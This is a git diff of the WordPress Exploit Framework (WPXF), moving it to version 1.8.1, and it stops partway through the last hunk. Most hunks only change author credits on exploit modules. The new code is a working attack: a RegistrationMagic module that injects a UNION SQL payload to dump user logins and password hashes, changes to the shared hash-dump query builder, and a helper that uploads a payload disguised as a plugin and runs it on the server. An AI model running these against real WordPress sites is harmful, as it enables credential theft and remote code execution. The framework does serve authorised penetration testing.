diff --git a/VERSION b/VERSION index 6259340..a8fdfda 100644 --- a/VERSION +++ b/VERSION @@ -1 +1 @@ -1.8 +1.8.1 diff --git a/lib/wpxf/wordpress/hash_dump.rb b/lib/wpxf/wordpress/hash_dump.rb index 12bccf8..ffe472f 100644 --- a/lib/wpxf/wordpress/hash_dump.rb +++ b/lib/wpxf/wordpress/hash_dump.rb @@ -29,9 +29,14 @@ def reveals_one_row_per_request false end + # @return [Array] an array of values to use in the generated union statement. + def hashdump_custom_union_values + [] + end + # @return [String] a unique SQL select statement that can be used to extract the hashes. def hashdump_sql_statement - cols = Array.new(hashdump_number_of_cols) { |_i| '0' } + cols = hashdump_union_cols cols[hashdump_visible_field_index] = "concat(#{bof_token},0x3a,user_login,0x3a,user_pass,0x3a,#{eof_token})" query = "select #{cols.join(',')} from #{table_prefix}users" @@ -40,9 +45,9 @@ def hashdump_sql_statement "#{query} limit #{current_row},1" end - # @return [String] a unique SEL select statement that can be used to fingerprint the database prefix. + # @return [String] a unique select statement that can be used to fingerprint the database prefix. def hashdump_prefix_fingerprint_statement - cols = Array.new(hashdump_number_of_cols) { |_i| '0' } + cols = hashdump_union_cols cols[hashdump_visible_field_index] = "concat(#{bof_token},0x3a,table_name,0x3a,#{eof_token})" query = "select #{cols.join(',')} from information_schema.tables where table_schema = database()" @@ -100,7 +105,7 @@ def run @current_row = 0 emit_info 'Dumping user hashes...' - hashes = dump_and_parse_hashes + hashes = dump_and_parse_hashes.uniq output_hashdump_table(hashes) export_hashes(hashes) if export_path @@ -109,6 +114,16 @@ def run private + def hashdump_union_cols + cols = Array.new(hashdump_number_of_cols) { |_i| '0' } + + hashdump_custom_union_values.each_with_index do |value, index| + cols[index] = value unless value.nil? + end + + cols + end + def bof_token @bof_token end diff --git a/lib/wpxf/wordpress/plugin.rb b/lib/wpxf/wordpress/plugin.rb index a143212..23040ee 100644 --- a/lib/wpxf/wordpress/plugin.rb +++ b/lib/wpxf/wordpress/plugin.rb @@ -7,9 +7,12 @@ module Wpxf::WordPress::Plugin # @return [String, nil] the nonce, nil on error. def wordpress_plugin_upload_nonce(cookie) res = execute_get_request(url: wordpress_url_plugin_upload, cookie: cookie) - if res && res.code == 200 + + if res&.code == 200 return res.body[/id="_wpnonce" name="_wpnonce" value="([a-z0-9]+)"/i, 1] end + + nil end # Create and upload a plugin that encapsulates the current payload. @@ -22,11 +25,29 @@ def wordpress_upload_payload_plugin(name, payload_name, cookie) return false if nonce.nil? res = wordpress_upload_plugin(name, payload_name, cookie, nonce) - if res && res.code == 200 - return true - else - return false + res&.code == 200 + end + + # Upload and execute a payload as a plugin. + # @param plugin_name [String] the name of the plugin. + # @param payload_name [String] the name the payload should use on the server. + # @param cookie [String] a valid admin session cookie. + # @return [HttpResponse, nil] the {Wpxf::Net::HttpResponse} of the request. + def wordpress_upload_and_execute_payload_plugin(plugin_name, payload_name, cookie) + unless wordpress_upload_payload_plugin(plugin_name, payload_name, cookie) + emit_error 'Failed to upload the payload' + return nil end + + payload_url = normalize_uri(wordpress_url_plugins, plugin_name, "#{payload_name}.php") + emit_info "Executing the payload at #{payload_url}..." + res = execute_get_request(url: payload_url) + + if res&.code == 200 && !res.body.strip.empty? + emit_success "Result: #{res.body}" + end + + res end # Generate a valid WordPress plugin header / base file. diff --git a/lib/wpxf/wordpress/urls.rb b/lib/wpxf/wordpress/urls.rb index 97e58f8..848a7af 100644 --- a/lib/wpxf/wordpress/urls.rb +++ b/lib/wpxf/wordpress/urls.rb @@ -123,4 +123,9 @@ def wordpress_url_rest_api def wordpress_url_comments_post normalize_uri(full_uri, 'wp-comments-post.php') end + + # @return [String] the admin / plugin options URL. + def wordpress_url_admin_options + normalize_uri(wordpress_url_admin, 'admin.php') + end end diff --git a/modules/auxiliary/ad_widget_php_file_download.rb b/modules/auxiliary/ad_widget_php_file_download.rb index 1e56f80..bd4eec1 100644 --- a/modules/auxiliary/ad_widget_php_file_download.rb +++ b/modules/auxiliary/ad_widget_php_file_download.rb @@ -9,7 +9,7 @@ def initialize update_info( name: 'Ad-Widget <= 2.11.0 Authenticated PHP File Download', author: [ - 'Rob Carr ' # WPXF module + 'rastating' # WPXF module ], references: [ ['WPVDB', '8789'] diff --git a/modules/auxiliary/all_in_one_migration_export.rb b/modules/auxiliary/all_in_one_migration_export.rb index 6509882..e9a10ae 100644 --- a/modules/auxiliary/all_in_one_migration_export.rb +++ b/modules/auxiliary/all_in_one_migration_export.rb @@ -14,8 +14,8 @@ def initialize All-in-One Migration plugin in versions < 2.0.5. ), author: [ - 'James Golovich', # Disclosure - 'Rob Carr ' # WPXF module + 'James Golovich', # Disclosure + 'rastating' # WPXF module ], references: [ ['WPVDB', '7857'], diff --git a/modules/auxiliary/antioch_arbitrary_file_download.rb b/modules/auxiliary/antioch_arbitrary_file_download.rb index ae32ebf..6c951f5 100644 --- a/modules/auxiliary/antioch_arbitrary_file_download.rb +++ b/modules/auxiliary/antioch_arbitrary_file_download.rb @@ -9,8 +9,8 @@ def initialize update_info( name: 'Antioch Theme Arbitrary File Download', author: [ - 'Ashiyane Digital Security Team', # Disclosure - 'Rob Carr ' # WPXF module + 'Ashiyane Digital Security Team', # Disclosure + 'rastating' # WPXF module ], references: [ ['WPVDB', '8406'] diff --git a/modules/auxiliary/candidate_application_form_arbitrary_file_download.rb b/modules/auxiliary/candidate_application_form_arbitrary_file_download.rb index cbdafe4..bbae259 100644 --- a/modules/auxiliary/candidate_application_form_arbitrary_file_download.rb +++ b/modules/auxiliary/candidate_application_form_arbitrary_file_download.rb @@ -9,8 +9,8 @@ def initialize update_info( name: 'Candidate Application Form Arbitrary File Download', author: [ - 'Larry W. Cashdollar', # Disclosure - 'Rob Carr ' # WPXF module + 'Larry W. Cashdollar', # Disclosure + 'rastating' # WPXF module ], references: [ ['EDB', '37754'] diff --git a/modules/auxiliary/cp_image_store_arbitrary_file_download.rb b/modules/auxiliary/cp_image_store_arbitrary_file_download.rb index b53daf3..e53ab5a 100644 --- a/modules/auxiliary/cp_image_store_arbitrary_file_download.rb +++ b/modules/auxiliary/cp_image_store_arbitrary_file_download.rb @@ -14,8 +14,8 @@ def initialize file accessible by the user the web server is running as. ), author: [ - 'Joaquin Ramirez Martinez', # Disclosure - 'Rob Carr ' # WPXF module + 'Joaquin Ramirez Martinez', # Disclosure + 'rastating' # WPXF module ], references: [ ['EDB', '37559'] diff --git a/modules/auxiliary/custom_contact_forms_privilege_escalation.rb b/modules/auxiliary/custom_contact_forms_privilege_escalation.rb index 8c0cf94..3fe74ae 100644 --- a/modules/auxiliary/custom_contact_forms_privilege_escalation.rb +++ b/modules/auxiliary/custom_contact_forms_privilege_escalation.rb @@ -13,8 +13,8 @@ def initialize '5.1.0.3, allows unauthenticated users to create new admin users '\ 'due to lack of validation when uploading SQL files.', author: [ - 'Marc-Alexandre Montpas', # Vulnerability discovery - 'Rob Carr ' # WPXF module + 'Marc-Alexandre Montpas', # Vulnerability discovery + 'rastating' # WPXF module ], references: [ ['URL', 'http://blog.sucuri.net/2014/08/database-takeover-in-custom-contact-forms.html'], diff --git a/modules/auxiliary/direct_download_for_woocommerce_file_download.rb b/modules/auxiliary/direct_download_for_woocommerce_file_download.rb index ed19184..6b0c459 100644 --- a/modules/auxiliary/direct_download_for_woocommerce_file_download.rb +++ b/modules/auxiliary/direct_download_for_woocommerce_file_download.rb @@ -9,8 +9,8 @@ def initialize update_info( name: 'Direct Download for WooCommerce <= 1.15 File Download', author: [ - 'Diego Celdran Morell', # Disclosure - 'Rob Carr ' # WPXF module + 'Diego Celdran Morell', # Disclosure + 'rastating' # WPXF module ], references: [ ['WPVDB', '8724'] diff --git a/modules/auxiliary/download_manager_authenticated_privilege_escalation.rb b/modules/auxiliary/download_manager_authenticated_privilege_escalation.rb index 2020f8a..21a8c5a 100644 --- a/modules/auxiliary/download_manager_authenticated_privilege_escalation.rb +++ b/modules/auxiliary/download_manager_authenticated_privilege_escalation.rb @@ -12,8 +12,8 @@ def initialize 'allows authenticated users to escalate their user role to '\ 'that of an administrator.', author: [ - 'James Golovich', # Disclosure - 'Rob Carr ' # WPXF module + 'James Golovich', # Disclosure + 'rastating' # WPXF module ], references: [ ['WPVDB', '8365'], diff --git a/modules/auxiliary/download_manager_directory_listing_disclosure.rb b/modules/auxiliary/download_manager_directory_listing_disclosure.rb index 6d903b6..81e6e39 100644 --- a/modules/auxiliary/download_manager_directory_listing_disclosure.rb +++ b/modules/auxiliary/download_manager_directory_listing_disclosure.rb @@ -16,8 +16,8 @@ def initialize 'versions < 2.8.3 of the Download Manager plugin to get '\ 'the directory listing of the specified directory.', author: [ - 'James Golovich', # Disclosure - 'Rob Carr ' # WPXF module + 'James Golovich', # Disclosure + 'rastating' # WPXF module ], references: [ ['WPVDB', '8365'], diff --git a/modules/auxiliary/download_manager_privilege_escalation.rb b/modules/auxiliary/download_manager_privilege_escalation.rb index 8a5e1d6..5ec47c3 100644 --- a/modules/auxiliary/download_manager_privilege_escalation.rb +++ b/modules/auxiliary/download_manager_privilege_escalation.rb @@ -15,8 +15,8 @@ def initialize 'allows unauthenticated users to create new admin users '\ 'due to lack of validation wpdm_ajax_call_exec.', author: [ - 'Mickael Nadeau', # Vulnerability discovery - 'Rob Carr ' # WPXF module + 'Mickael Nadeau', # Vulnerability discovery + 'rastating' # WPXF module ], references: [ ['EDB', '35533'], diff --git a/modules/auxiliary/download_monitor_log_export.rb b/modules/auxiliary/download_monitor_log_export.rb index bbfe3f1..f86a6aa 100644 --- a/modules/auxiliary/download_monitor_log_export.rb +++ b/modules/auxiliary/download_monitor_log_export.rb @@ -15,8 +15,8 @@ def initialize includes: Download ID, Version ID, Filename, User ID, User Login, User Email, User IP, User Agent, Date, Status ), author: [ - 'James Golovich', # Disclosure - 'Rob Carr ' # WPXF module + 'James Golovich', # Disclosure + 'rastating' # WPXF module ], references: [ ['WPVDB', '8810'] diff --git a/modules/auxiliary/duplicator_csrf_db_export.rb b/modules/auxiliary/duplicator_csrf_db_export.rb index 96928e0..c1c3fa6 100644 --- a/modules/auxiliary/duplicator_csrf_db_export.rb +++ b/modules/auxiliary/duplicator_csrf_db_export.rb @@ -15,8 +15,8 @@ def initialize visits the generated web page. ), author: [ - 'RatioSec Research', # Discovery and disclosure - 'Rob Carr ' # WPXF module + 'RatioSec Research', # Discovery and disclosure + 'rastating' # WPXF module ], references: [ ['WPVDB', '8388'], diff --git a/modules/auxiliary/easy_cart_privilege_escalation.rb b/modules/auxiliary/easy_cart_privilege_escalation.rb index 5426d87..607bac1 100644 --- a/modules/auxiliary/easy_cart_privilege_escalation.rb +++ b/modules/auxiliary/easy_cart_privilege_escalation.rb @@ -22,7 +22,7 @@ def initialize 'a new account with admin privileges via the default registration '\ 'page found at /wp-login.php?action=register.', author: [ - 'Rob Carr ' # Discovery and WPXF module + 'rastating' # Discovery and WPXF module ], references: [ ['CVE', '2015-2673'], diff --git a/modules/auxiliary/email_users_csrf_bulk_mail.rb b/modules/auxiliary/email_users_csrf_bulk_mail.rb index a0787f9..8031037 100644 --- a/modules/auxiliary/email_users_csrf_bulk_mail.rb +++ b/modules/auxiliary/email_users_csrf_bulk_mail.rb @@ -12,8 +12,8 @@ def initialize 'the Email Users plugin, which allows for the sending of a bulk e-mail to '\ 'all users of a specified role.', author: [ - 'Julien Rentrop', # Disclosure - 'Rob Carr ' # WPXF module + 'Julien Rentrop', # Disclosure + 'rastating' # WPXF module ], references: [ ['WPVDB', '8601'], diff --git a/modules/auxiliary/events_hash_dump.rb b/modules/auxiliary/events_hash_dump.rb index 5ddd093..0392409 100644 --- a/modules/auxiliary/events_hash_dump.rb +++ b/modules/auxiliary/events_hash_dump.rb @@ -15,8 +15,8 @@ def initialize to dump the hashed passwords of all users in the database. ), author: [ - 'Lenon Leite', # Disclosure - 'Rob Carr ' # WPXF module + 'Lenon Leite', # Disclosure + 'rastating' # WPXF module ], references: [ ['WPVDB', '8954'], diff --git a/modules/auxiliary/gallery_album_hash_dump.rb b/modules/auxiliary/gallery_album_hash_dump.rb index bffe9a1..b36e143 100644 --- a/modules/auxiliary/gallery_album_hash_dump.rb +++ b/modules/auxiliary/gallery_album_hash_dump.rb @@ -15,8 +15,8 @@ def initialize to dump the hashed passwords of all users in the database. ), author: [ - 'Manuel Garcia Cardenas', # Disclosure - 'Rob Carr ' # WPXF module + 'Manuel Garcia Cardenas', # Disclosure + 'rastating' # WPXF module ], references: [ ['WPVDB', '8907'], diff --git a/modules/auxiliary/ghost_unrestricted_export_download.rb b/modules/auxiliary/ghost_unrestricted_export_download.rb index 052aa19..23abe49 100644 --- a/modules/auxiliary/ghost_unrestricted_export_download.rb +++ b/modules/auxiliary/ghost_unrestricted_export_download.rb @@ -12,8 +12,8 @@ def initialize '<= 0.5.5 of the Ghost plugin to download an export of the WordPress '\ 'data, including usernames and e-mail addresses.', author: [ - 'Josh Brody', # Disclosure - 'Rob Carr ' # WPXF module + 'Josh Brody', # Disclosure + 'rastating' # WPXF module ], references: [ ['WPVDB', '8479'] diff --git a/modules/auxiliary/history_collection_arbitrary_file_download.rb b/modules/auxiliary/history_collection_arbitrary_file_download.rb index f9a43ee..7546d6f 100644 --- a/modules/auxiliary/history_collection_arbitrary_file_download.rb +++ b/modules/auxiliary/history_collection_arbitrary_file_download.rb @@ -14,8 +14,8 @@ def initialize file accessible by the user the web server is running as. ), author: [ - 'Kuroi\'SH', # Disclosure - 'Rob Carr ' # WPXF module + 'Kuroi\'SH', # Disclosure + 'rastating' # WPXF module ], references: [ ['EDB', '37254'] diff --git a/modules/auxiliary/imdb_profile_widget_arbitrary_file_download.rb b/modules/auxiliary/imdb_profile_widget_arbitrary_file_download.rb index 053c59f..5b73419 100644 --- a/modules/auxiliary/imdb_profile_widget_arbitrary_file_download.rb +++ b/modules/auxiliary/imdb_profile_widget_arbitrary_file_download.rb @@ -9,8 +9,8 @@ def initialize update_info( name: 'IMDb Profile Widget <= 1.0.8 Arbitrary File Download', author: [ - 'CrashBandicot @DosPerl', # Disclosure - 'Rob Carr ' # WPXF module + 'CrashBandicot @DosPerl', # Disclosure + 'rastating' # WPXF module ], references: [ ['WPVDB', '8426'], diff --git a/modules/auxiliary/jtrt_responsive_tables_hash_dump.rb b/modules/auxiliary/jtrt_responsive_tables_hash_dump.rb index a062b6b..7a63aa9 100644 --- a/modules/auxiliary/jtrt_responsive_tables_hash_dump.rb +++ b/modules/auxiliary/jtrt_responsive_tables_hash_dump.rb @@ -16,8 +16,8 @@ def initialize of all users in the database. ), author: [ - 'Lenon Leite', # Disclosure - 'Rob Carr ' # WPXF module + 'Lenon Leite', # Disclosure + 'rastating' # WPXF module ], references: [ ['WPVDB', '8953'], diff --git a/modules/auxiliary/long_password_dos.rb b/modules/auxiliary/long_password_dos.rb index 2845ece..3795862 100644 --- a/modules/auxiliary/long_password_dos.rb +++ b/modules/auxiliary/long_password_dos.rb @@ -16,9 +16,9 @@ def initialize 'of service via a long password that is improperly handled during '\ 'hashing.', author: [ - 'Javier Nieto Arevalo', # Vulnerability disclosure + 'Javier Nieto Arevalo', # Vulnerability disclosure 'Andres Rojas Guerrero', # Vulnerability disclosure - 'Rob Carr ' # WPXF module + 'rastating' # WPXF module ], references: [ ['CVE', '2014-9034'], diff --git a/modules/auxiliary/mail_masta_unauthenticated_local_file_inclusion.rb b/modules/auxiliary/mail_masta_unauthenticated_local_file_inclusion.rb index ceb2efd..ea22575 100644 --- a/modules/auxiliary/mail_masta_unauthenticated_local_file_inclusion.rb +++ b/modules/auxiliary/mail_masta_unauthenticated_local_file_inclusion.rb @@ -9,8 +9,8 @@ def initialize update_info( name: 'Mail Masta Unauthenticated Local File Inclusion', author: [ - 'Guillermo Garcia Marcos', # Disclosure - 'Rob Carr ' # WPXF module + 'Guillermo Garcia Marcos', # Disclosure + 'rastating' # WPXF module ], desc: 'This module exploits a vulnerability which allows you to include any arbitrary file '\ 'accessible by the user the web server is running as into the executing script.', diff --git a/modules/auxiliary/membership_simplified_arbitrary_file_download.rb b/modules/auxiliary/membership_simplified_arbitrary_file_download.rb index c33725a..828f3d3 100644 --- a/modules/auxiliary/membership_simplified_arbitrary_file_download.rb +++ b/modules/auxiliary/membership_simplified_arbitrary_file_download.rb @@ -14,8 +14,8 @@ def initialize in order to bypass mitigation within the plugin. ), author: [ - 'Larry W. Cashdollar', # Disclosure - 'Rob Carr ' # WPXF module + 'Larry W. Cashdollar', # Disclosure + 'rastating' # WPXF module ], references: [ ['CVE', '2017-1002008'], diff --git a/modules/auxiliary/memphis_documents_library_arbitrary_file_download.rb b/modules/auxiliary/memphis_documents_library_arbitrary_file_download.rb index 06d674a..42de9d9 100644 --- a/modules/auxiliary/memphis_documents_library_arbitrary_file_download.rb +++ b/modules/auxiliary/memphis_documents_library_arbitrary_file_download.rb @@ -9,8 +9,8 @@ def initialize update_info( name: 'Memphis Documents Library <= 3.1.5 Arbitrary File Download', author: [ - 'Felipe Molina', # Disclosure - 'Rob Carr ' # WPXF module + 'Felipe Molina', # Disclosure + 'rastating' # WPXF module ], references: [ ['WPVDB', '8419'] diff --git a/modules/auxiliary/platform_privilege_escalation.rb b/modules/auxiliary/platform_privilege_escalation.rb index e8c2436..bb0b985 100644 --- a/modules/auxiliary/platform_privilege_escalation.rb +++ b/modules/auxiliary/platform_privilege_escalation.rb @@ -21,8 +21,8 @@ def initialize 'privileges via the default registration page found at '\ '/wp-login.php?action=register.', author: [ - 'Marc-Alexandre Montpas', # Vulnerability discovery - 'Rob Carr ' # WPXF module + 'Marc-Alexandre Montpas', # Vulnerability discovery + 'rastating' # WPXF module ], references: [ ['URL', 'http://blog.sucuri.net/2015/01/security-advisory-vulnerabilities-in-pagelinesplatform-theme-for-wordpress.html'], diff --git a/modules/auxiliary/post_grid_file_deletion.rb b/modules/auxiliary/post_grid_file_deletion.rb index 14bd6c5..91bd751 100644 --- a/modules/auxiliary/post_grid_file_deletion.rb +++ b/modules/auxiliary/post_grid_file_deletion.rb @@ -12,8 +12,8 @@ def initialize 'the Post Grid plugin which allows you to delete any arbitrary '\ 'file accessible by the user the web server is running as.', author: [ - 'White Fir Design', # Disclosure - 'Rob Carr ' # WPXF module + 'White Fir Design', # Disclosure + 'rastating' # WPXF module ], references: [ ['WPVDB', '8667'], diff --git a/modules/auxiliary/qards_local_port_scan.rb b/modules/auxiliary/qards_local_port_scan.rb index 5196cfa..973b2a3 100644 --- a/modules/auxiliary/qards_local_port_scan.rb +++ b/modules/auxiliary/qards_local_port_scan.rb @@ -13,8 +13,8 @@ def initialize enables a remote user to check if a service is running on a local port. ), author: [ - 'theMiddle', # Disclosure - 'Rob Carr ' # WPXF module + 'theMiddle', # Disclosure + 'rastating' # WPXF module ], references: [ ['WPVDB', '8933'] diff --git a/modules/auxiliary/recent_backups_arbitrary_file_download.rb b/modules/auxiliary/recent_backups_arbitrary_file_download.rb index af72152..73af56f 100644 --- a/modules/auxiliary/recent_backups_arbitrary_file_download.rb +++ b/modules/auxiliary/recent_backups_arbitrary_file_download.rb @@ -9,8 +9,8 @@ def initialize update_info( name: 'Recent Backups Arbitrary File Download', author: [ - 'Larry W. Cashdollar', # Disclosure - 'Rob Carr ' # WPXF module + 'Larry W. Cashdollar', # Disclosure + 'rastating' # WPXF module ], references: [ ['WPVDB', '8122'], diff --git a/modules/auxiliary/registrationmagic_hash_dump.rb b/modules/auxiliary/registrationmagic_hash_dump.rb new file mode 100644 index 0000000..8728c03 --- /dev/null +++ b/modules/auxiliary/registrationmagic_hash_dump.rb @@ -0,0 +1,62 @@ +# frozen_string_literal: true + +class Wpxf::Auxiliary::RegistrationMagicHashDump < Wpxf::Module + include Wpxf::WordPress::HashDump + + def initialize + super + + update_info( + name: 'RegistrationMagic - Custom Registration Forms <= 3.7.9.2 Authenticated Hash Dump', + desc: %( + RegistrationMagic - Custom Registration Forms <= 3.7.9.2 suffers from an + SQL injection vulnerability which is exploitable by registered users with the + required privileges to manage the plugin. + + This module utilises the vulnerability to dump the hashed passwords + of all users in the database. + ), + author: [ + 'rastating' # Disclosure + WPXF module + ], + references: [ + ['WPVDB', '8975'], + ['URL', 'https://www.rastating.com/registrationmagic-custom-registration-forms-3-7-9-2-authenticated-sql-injection'] + ], + date: 'Dec 10 2017' + ) + end + + def check + check_plugin_version_from_readme('custom-registration-form-builder-with-submission-manager', '3.7.9.3') + end + + def requires_authentication + true + end + + def hashdump_request_params + { + 'page' => 'rm_field_manage', + 'rm_form_id' => "-#{Utility::Text.rand_numeric(2)} UNION #{hashdump_sql_statement}" + } + end + + def hashdump_custom_union_values + values = Array.new(11) + values[4] = 'concat(0x54,0x65,0x78,0x74,0x62,0x6f,0x78)' + values + end + + def hashdump_visible_field_index + 3 + end + + def hashdump_number_of_cols + 11 + end + + def vulnerable_url + normalize_uri(wordpress_url_admin, 'admin.php') + end +end diff --git a/modules/auxiliary/simple_ads_manager_sql_injection.rb b/modules/auxiliary/simple_ads_manager_sql_injection.rb index 8f81f61..ba99c63 100644 --- a/modules/auxiliary/simple_ads_manager_sql_injection.rb +++ b/modules/auxiliary/simple_ads_manager_sql_injection.rb @@ -16,8 +16,8 @@ def initialize 'allows unauthenticated users to view a single field of '\ 'data at a time, such as e-mails and passwords.', author: [ - 'Kacper Szurek', # Vulnerability discovery - 'Rob Carr ' # WPXF module + 'Kacper Szurek', # Vulnerability discovery + 'rastating' # WPXF module ], references: [ ['URL', 'http://security.szurek.pl/simple-ads-manager-294116-sql-injection.html'], diff --git a/modules/auxiliary/simple_download_monitor_file_disclosure.rb b/modules/auxiliary/simple_download_monitor_file_disclosure.rb index ca072dc..42eb377 100644 --- a/modules/auxiliary/simple_download_monitor_file_disclosure.rb +++ b/modules/auxiliary/simple_download_monitor_file_disclosure.rb @@ -15,8 +15,8 @@ def initialize to bypass the password protection on private downloads. ), author: [ - 'James Golovich', # Disclosure - 'Rob Carr ' # WPXF module + 'James Golovich', # Disclosure + 'rastating' # WPXF module ], references: [ ['WPVDB', '8364'], diff --git a/modules/auxiliary/simple_download_monitor_file_download.rb b/modules/auxiliary/simple_download_monitor_file_download.rb index 5799089..f52ca41 100644 --- a/modules/auxiliary/simple_download_monitor_file_download.rb +++ b/modules/auxiliary/simple_download_monitor_file_download.rb @@ -15,8 +15,8 @@ def initialize auxiliary/simple_download_monitor_file_disclosure module. ), author: [ - 'James Golovich', # Disclosure - 'Rob Carr ' # WPXF module + 'James Golovich', # Disclosure + 'rastating' # WPXF module ], references: [ ['WPVDB', '8364'], diff --git a/modules/auxiliary/simple_events_calendar_hash_dump.rb b/modules/auxiliary/simple_events_calendar_hash_dump.rb index 420b0c7..da52f01 100644 --- a/modules/auxiliary/simple_events_calendar_hash_dump.rb +++ b/modules/auxiliary/simple_events_calendar_hash_dump.rb @@ -15,8 +15,8 @@ def initialize to dump the hashed passwords of all users in the database. ), author: [ - 'Lenon Leite', # Disclosure - 'Rob Carr ' # WPXF module + 'Lenon Leite', # Disclosure + 'rastating' # WPXF module ], references: [ ['WPVDB', '8955'], diff --git a/modules/auxiliary/simple_image_manipulator_arbitrary_file_download.rb b/modules/auxiliary/simple_image_manipulator_arbitrary_file_download.rb index 9aef277..e302576 100644 --- a/modules/auxiliary/simple_image_manipulator_arbitrary_file_download.rb +++ b/modules/auxiliary/simple_image_manipulator_arbitrary_file_download.rb @@ -12,8 +12,8 @@ def initialize 'Simple Image Manipulator plugin which allows you to download any '\ 'arbitrary file accessible by the user the web server is running as.', author: [ - 'Larry W. Cashdollar', # Disclosure - 'Rob Carr ' # WPXF module + 'Larry W. Cashdollar', # Disclosure + 'rastating' # WPXF module ], references: [ ['WPVDB', '8123'], diff --git a/modules/auxiliary/sql_shortcode_hash_dump.rb b/modules/auxiliary/sql_shortcode_hash_dump.rb index c2d2071..2229f22 100644 --- a/modules/auxiliary/sql_shortcode_hash_dump.rb +++ b/modules/auxiliary/sql_shortcode_hash_dump.rb @@ -16,8 +16,8 @@ def initialize of all users in the database. ), author: [ - 'Paul Dannewitz', # Disclosure - 'Rob Carr ' # WPXF module + 'Paul Dannewitz', # Disclosure + 'rastating' # WPXF module ], references: [ ['WPVDB', '8904'] diff --git a/modules/auxiliary/ultimate_csv_importer_user_extract.rb b/modules/auxiliary/ultimate_csv_importer_user_extract.rb index 785a53a..d6e1c7b 100644 --- a/modules/auxiliary/ultimate_csv_importer_user_extract.rb +++ b/modules/auxiliary/ultimate_csv_importer_user_extract.rb @@ -20,8 +20,8 @@ def initialize hashed passwords and email addresses for all users. ), author: [ - 'James Hooker', # Disclosure - 'Rob Carr ' # WPXF module + 'James Hooker', # Disclosure + 'rastating' # WPXF module ], references: [ ['WPVDB', '7778'] diff --git a/modules/auxiliary/ultimate_product_catalogue_hash_dump.rb b/modules/auxiliary/ultimate_product_catalogue_hash_dump.rb index 3398434..9ca4fa1 100644 --- a/modules/auxiliary/ultimate_product_catalogue_hash_dump.rb +++ b/modules/auxiliary/ultimate_product_catalogue_hash_dump.rb @@ -15,8 +15,8 @@ module utilises this vulnerability to dump the hashed passwords of all users in the database. ), author: [ - 'Lenon Leite', # Disclosure - 'Rob Carr ' # WPXF module + 'Lenon Leite', # Disclosure + 'rastating' # WPXF module ], references: [ ['WPVDB', '8853'], diff --git a/modules/auxiliary/user_meta_manager_information_disclosure.rb b/modules/auxiliary/user_meta_manager_information_disclosure.rb index 81bbf1f..c4bd1de 100644 --- a/modules/auxiliary/user_meta_manager_information_disclosure.rb +++ b/modules/auxiliary/user_meta_manager_information_disclosure.rb @@ -15,8 +15,8 @@ def initialize in order to get all the contents of the `usermeta` table. ), author: [ - 'Panagiotis Vagenas', # Disclosure - 'Rob Carr ' # WPXF module + 'Panagiotis Vagenas', # Disclosure + 'rastating' # WPXF module ], references: [ ['WPVDB', '8384'], diff --git a/modules/auxiliary/user_meta_manager_privilege_escalation.rb b/modules/auxiliary/user_meta_manager_privilege_escalation.rb index f9e973c..c8c2c7f 100644 --- a/modules/auxiliary/user_meta_manager_privilege_escalation.rb +++ b/modules/auxiliary/user_meta_manager_privilege_escalation.rb @@ -12,8 +12,8 @@ def initialize '3.4.6, allows authenticated users of any level to update the '\ 'role of any user to be an administrator.', author: [ - 'Panagiotis Vagenas', # Vulnerability discovery - 'Rob Carr ' # WPXF module + 'Panagiotis Vagenas', # Vulnerability discovery + 'rastating' # WPXF module ], references: [ ['URL', 'http://seclists.org/bugtraq/2016/Feb/34'], diff --git a/modules/auxiliary/user_role_editor_privilege_escalation.rb b/modules/auxiliary/user_role_editor_privilege_escalation.rb index ae5622c..8d153ac 100644 --- a/modules/auxiliary/user_role_editor_privilege_escalation.rb +++ b/modules/auxiliary/user_role_editor_privilege_escalation.rb @@ -12,7 +12,7 @@ def initialize 'allows authenticated users to escalate their user role to '\ 'that of an administrator.', author: [ - 'Rob Carr ' # WPXF module + 'rastating' # WPXF module ], references: [ ['WPVDB', '8432'], diff --git a/modules/auxiliary/woocommerce_email_test_order_disclosure.rb b/modules/auxiliary/woocommerce_email_test_order_disclosure.rb index bf27b9f..c7d1df7 100644 --- a/modules/auxiliary/woocommerce_email_test_order_disclosure.rb +++ b/modules/auxiliary/woocommerce_email_test_order_disclosure.rb @@ -13,8 +13,8 @@ def initialize users to download a copy of the last order confirmation e-mail sent by the system. ), author: [ - 'jansass GmbH', # Disclosure - 'Rob Carr ' # WPXF module + 'jansass GmbH', # Disclosure + 'rastating' # WPXF module ], references: [ ['WPVDB', '8689'] diff --git a/modules/auxiliary/woocommerce_order_import_export_order_disclosure.rb b/modules/auxiliary/woocommerce_order_import_export_order_disclosure.rb index e87ff4b..f2dc576 100644 --- a/modules/auxiliary/woocommerce_order_import_export_order_disclosure.rb +++ b/modules/auxiliary/woocommerce_order_import_export_order_disclosure.rb @@ -11,8 +11,8 @@ def initialize desc: 'Version <= 1.0.8 of the import export plugin for WooCommerce allows unauthenticated '\ 'users to download a CSV disclosing information about orders placed in the system.', author: [ - 'David Peltier', # Disclosure - 'Rob Carr ' # WPXF module + 'David Peltier', # Disclosure + 'rastating' # WPXF module ], references: [ ['WPVDB', '8624'], diff --git a/modules/auxiliary/wp_front_end_profile_privilege_escalation.rb b/modules/auxiliary/wp_front_end_profile_privilege_escalation.rb index a654e7c..14fa9d6 100644 --- a/modules/auxiliary/wp_front_end_profile_privilege_escalation.rb +++ b/modules/auxiliary/wp_front_end_profile_privilege_escalation.rb @@ -11,7 +11,7 @@ def initialize desc: 'The WP Front End Profile plugin, in versions <= 0.2.1, allows authenticated '\ 'users of any user level to escalate their user role to an administrator.', author: [ - 'Rob Carr ' # WPXF module + 'rastating' # WPXF module ], references: [ ['WPVDB', '8620'] diff --git a/modules/auxiliary/wp_hide_security_enhancer_file_download.rb b/modules/auxiliary/wp_hide_security_enhancer_file_download.rb index 45a3c3a..7320fa7 100644 --- a/modules/auxiliary/wp_hide_security_enhancer_file_download.rb +++ b/modules/auxiliary/wp_hide_security_enhancer_file_download.rb @@ -9,8 +9,8 @@ def initialize update_info( name: 'WP Hide & Security Enhancer <= 1.3.9.2 File Download', author: [ - 'Julio Potier', # Disclosure - 'Rob Carr ' # WPXF module + 'Julio Potier', # Disclosure + 'rastating' # WPXF module ], references: [ ['WPVDB', '8867'], diff --git a/modules/auxiliary/wp_marketplace_v2.4_file_download.rb b/modules/auxiliary/wp_marketplace_v2.4_file_download.rb index a23427b..b5a55a3 100644 --- a/modules/auxiliary/wp_marketplace_v2.4_file_download.rb +++ b/modules/auxiliary/wp_marketplace_v2.4_file_download.rb @@ -13,8 +13,8 @@ def initialize to download any arbitrary file accessible by the user the web server is running as. ), author: [ - 'Kacper Szurek', # Disclosure - 'Rob Carr ' # WPXF module + 'Kacper Szurek', # Disclosure + 'rastating' # 